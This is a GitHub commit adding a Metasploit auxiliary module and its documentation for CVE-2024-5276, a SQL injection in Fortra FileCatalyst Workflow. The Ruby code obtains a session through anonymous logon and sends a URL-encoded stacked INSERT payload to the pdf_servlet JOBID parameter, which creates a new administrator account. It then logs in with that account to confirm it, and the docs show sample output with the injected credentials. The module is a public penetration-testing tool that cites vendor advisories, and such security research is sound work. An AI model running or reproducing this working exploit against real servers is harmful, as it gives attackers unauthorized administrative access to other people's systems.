Skip to content

Commit 8bef9b5

Browse files
committed
Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)
Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)
1 parent 233f6dc commit 8bef9b5

File tree

2 files changed

+360
-0
lines changed

2 files changed

+360
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Vulnerable Application
2+
3+
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135 (CVE-2024-5276), by adding a new
4+
administrative user to the web interface of the application.
5+
6+
The vendor published an advisory [here]
7+
(https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0)
8+
and [here](https://www.fortra.com/security/advisories/product-security/fi-2024-008).
9+
10+
## Testing
11+
12+
The software can be obtained from the [vendor](https://www.goanywhere.com/products/filecatalyst/trial).
13+
14+
Deploy it by following the vendor's [installation guide]
15+
(https://filecatalyst.software/public/filecatalyst/Workflow/5.1.6.139/FileCatalyst_Web_Tomcat_Installation.pdf).
16+
17+
**Successfully tested on**
18+
19+
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Windows 10 22H2
20+
- Fortra FileCatalyst Workflow v5.1.6 (Build 135) on Ubuntu 24.04 LTS
21+
22+
## Verification Steps
23+
24+
1. Deploy Fortra FileCatalyst Workflow <= v5.1.6 Build 135
25+
2. Start `msfconsole`
26+
3. `use auxiliary/admin/http/fortra_filecatalyst_workflow_sqli`
27+
4. `set RHOSTS <IP>`
28+
5. `set RPORT <PORT>`
29+
6. `set TARGETURI <URI>`
30+
7. `set NEW_USERNAME <username>`
31+
8. `set NEW_PASSWORD <password>`
32+
9. `run`
33+
10. A new admin user should have been successfully added.
34+
35+
## Options
36+
37+
### NEW_USERNAME
38+
Username to be used when creating a new user with admin privileges.
39+
40+
### NEW_PASSWORD
41+
Password to be used when creating a new user with admin privileges.
42+
43+
### NEW_EMAIL
44+
E-mail to be used when creating a new user with admin privileges.
45+
46+
## Scenarios
47+
48+
Running the module against FileCatalyst Workflow v5.1.6 (Build 135) on either Windows 10 22H2 or Ubuntu 24.04 LTS should result in an output
49+
similar to the following:
50+
51+
```
52+
msf6 auxiliary(admin/http/fortra_filecatalyst_workflow_sqli) > run
53+
[*] Running module against 192.168.137.195
54+
55+
[*] Starting SQL injection workflow...
56+
[+] Server reachable.
57+
[*] JSESSIONID value: CBD945F52F91E0F4354296C939BDABDE
58+
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
59+
[*] Redirect #1: /workflow/createNewJob.do?.rnd2=3324035&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
60+
[*] Redirect #2: /workflow/jsp/chooseOrderForm.jsp?.rnd2=3324040&FCWEB.FORM.TOKEN=IvHIPuxllBiHOfXzLlaS
61+
[*] Received expected response.
62+
[+] SQL injection successful!
63+
[*] Confirming credentials...
64+
[*] FCWEB.FORM.TOKEN value: IvHIPuxllBiHOfXzLlaS
65+
[+] Login successful!
66+
[+] New admin user was successfully injected:
67+
elroy:yodTwsPs
68+
[+] Login at: http://192.168.137.195:8080/workflow/jsp/logon.jsp
69+
[*] Auxiliary module execution completed
70+
```
Lines changed: 290 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,290 @@
1+
require 'digest/md5'
2+
3+
class MetasploitModule < Msf::Auxiliary
4+
include Msf::Exploit::Remote::HttpClient
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)',
11+
'Description' => %q{
12+
This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new
13+
administrative user to the web interface of the application.
14+
},
15+
'Author' => [
16+
'Tenable', # Discovery and PoC
17+
'Michael Heinzl' # MSF Module
18+
],
19+
'References' => [
20+
['CVE', '2024-5276'],
21+
['URL', 'https://www.tenable.com/security/research/tra-2024-25'],
22+
['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0']
23+
],
24+
'DisclosureDate' => '2024-06-25',
25+
'DefaultOptions' => {
26+
'RPORT' => 8080
27+
},
28+
'License' => MSF_LICENSE,
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [REPEATABLE_SESSION],
32+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
33+
}
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('TARGETURI', [true, 'Base path', '/']),
39+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
40+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
41+
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
42+
])
43+
end
44+
45+
def run
46+
# 1) Request workflow to obtain a session ID
47+
print_status('Starting SQL injection workflow...')
48+
49+
res = send_request_cgi(
50+
'method' => 'GET',
51+
'uri' => normalize_uri(target_uri.path, 'workflow/')
52+
)
53+
54+
unless res
55+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
56+
end
57+
case res.code
58+
when 200
59+
print_good('Server reachable.')
60+
else
61+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
62+
end
63+
64+
raw_res = res.to_s
65+
if raw_res =~ /JSESSIONID=(\w+);/
66+
jsessionid = ::Regexp.last_match(1)
67+
print_status("JSESSIONID value: #{jsessionid}")
68+
else
69+
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
70+
end
71+
72+
# 2) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
73+
res = send_request_cgi(
74+
'method' => 'GET',
75+
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
76+
'headers' => {
77+
'Cookie' => "JSESSIONID=#{jsessionid}"
78+
}
79+
)
80+
81+
unless res
82+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
83+
end
84+
85+
res = res.body
86+
if res =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
87+
token_value = ::Regexp.last_match(1)
88+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
89+
else
90+
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
91+
end
92+
93+
# 3) logonAnonymous.do
94+
res = send_request_cgi(
95+
'method' => 'GET',
96+
'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"),
97+
'headers' => {
98+
'Cookie' => "JSESSIONID=#{jsessionid}"
99+
}
100+
)
101+
102+
unless res
103+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
104+
end
105+
106+
raw_res = res.to_s
107+
if raw_res =~ /^Location:\s*(.+)$/
108+
location_value = ::Regexp.last_match(1).strip
109+
print_status("Redirect #1: #{location_value}")
110+
else
111+
fail_with(Failure::UnexpectedReply, 'Location header not found.')
112+
end
113+
114+
# 4) createNewJob.do
115+
res = send_request_cgi(
116+
'method' => 'GET',
117+
'uri' => normalize_uri(target_uri.path, location_value.to_s),
118+
'headers' => {
119+
'Cookie' => "JSESSIONID=#{jsessionid}"
120+
}
121+
)
122+
123+
unless res
124+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
125+
end
126+
127+
raw_res = res.to_s
128+
if raw_res =~ /^Location:\s*(.+)$/
129+
location_value = ::Regexp.last_match(1).strip
130+
print_status("Redirect #2: #{location_value}")
131+
else
132+
fail_with(Failure::UnexpectedReply, 'Location header not found.')
133+
end
134+
135+
# 5) chooseOrderForm.jsp
136+
res = send_request_cgi(
137+
'method' => 'GET',
138+
'uri' => normalize_uri(target_uri.path, location_value.to_s),
139+
'headers' => {
140+
'Cookie' => "JSESSIONID=#{jsessionid}"
141+
}
142+
)
143+
144+
unless res
145+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
146+
end
147+
148+
html = res.get_html_document
149+
h2_tag = html.at_css('h2')
150+
151+
if h2_tag
152+
h2_text = h2_tag.text.strip
153+
if h2_text == 'Choose an Order Type'
154+
print_status('Received expected response.')
155+
else
156+
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag.')
157+
end
158+
else
159+
fail_with(Failure::UnexpectedReply, 'h2 tag not found.')
160+
end
161+
162+
# 5) pdf_servlet (SQL injection)
163+
t = Time.now
164+
username = datastore['NEW_USERNAME']
165+
password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase
166+
email = datastore['NEW_EMAIL']
167+
firstname = Rex::Text.rand_text_alpha(1..6)
168+
lastname = Rex::Text.rand_text_alpha(1..6)
169+
areacode = rand(100..999)
170+
exchangecode = rand(100..999)
171+
subscribernumber = rand(1000..9999)
172+
phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d',
173+
areacode: areacode,
174+
exchangecode: exchangecode,
175+
subscribernumber: subscribernumber)
176+
creation = "+#{t.strftime('%s%L')}"
177+
pw_creationdate = "+#{t.strftime('%s%L')}"
178+
lastlogin = "+#{t.strftime('%s%L')}"
179+
180+
vprint_status('Adding New Admin User:')
181+
vprint_status("\tUsername: #{username}")
182+
vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})")
183+
vprint_status("\tEmail: #{email}")
184+
vprint_status("\tFirstName: #{firstname}")
185+
vprint_status("\tLastName: #{lastname}")
186+
vprint_status("\tPhone: #{phone}")
187+
vprint_status("\tCreation: #{creation}")
188+
vprint_status("\tPW_CreationDate: #{pw_creationdate}")
189+
vprint_status("\tLastLogin: #{lastlogin}")
190+
191+
payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \
192+
'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \
193+
'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \
194+
'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \
195+
'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \
196+
'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \
197+
"PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \
198+
"%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \
199+
'%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \
200+
"%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \
201+
'%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \
202+
'%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \
203+
"%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-"
204+
205+
res = send_request_cgi(
206+
'method' => 'GET',
207+
'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"),
208+
'headers' => {
209+
'Cookie' => "JSESSIONID=#{jsessionid}"
210+
}
211+
)
212+
213+
unless res
214+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
215+
end
216+
217+
case res.code
218+
when 200
219+
if res.body.to_s == ''
220+
print_good('SQL injection successful!')
221+
else
222+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
223+
end
224+
else
225+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
226+
end
227+
228+
# Confirm that the credentials work
229+
print_status('Confirming credentials...')
230+
231+
# 1) logon.jsp to retrieve a valid FCWEB.FORM.TOKEN
232+
res = send_request_cgi(
233+
'method' => 'GET',
234+
'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'),
235+
'headers' => {
236+
'Cookie' => "JSESSIONID=#{jsessionid}"
237+
}
238+
)
239+
240+
unless res
241+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
242+
end
243+
244+
res = res.body
245+
if res =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
246+
token_value = ::Regexp.last_match(1)
247+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
248+
else
249+
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
250+
end
251+
252+
# 2) Authenticate
253+
res = send_request_cgi(
254+
'method' => 'POST',
255+
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),
256+
'headers' => {
257+
'Cookie' => "JSESSIONID=#{jsessionid}",
258+
'Content-Type' => 'application/x-www-form-urlencoded'
259+
},
260+
'vars_post' => {
261+
'username' => datastore['NEW_USERNAME'],
262+
'password' => datastore['NEW_PASSWORD'],
263+
'FCWEB.FORM.TOKEN' => token_value.to_s,
264+
'submit' => 'Login'
265+
}
266+
)
267+
268+
unless res
269+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
270+
end
271+
272+
html = res.get_html_document
273+
title_block = html.at_css('.titleBlock')
274+
275+
if title_block
276+
title_text = title_block.text.strip
277+
if title_text.include?('Administration')
278+
print_good('Login successful!')
279+
else
280+
fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.')
281+
end
282+
else
283+
fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.')
284+
end
285+
286+
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
287+
print_good("Login at: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}workflow/jsp/logon.jsp")
288+
end
289+
290+
end

0 commit comments

Comments
 (0)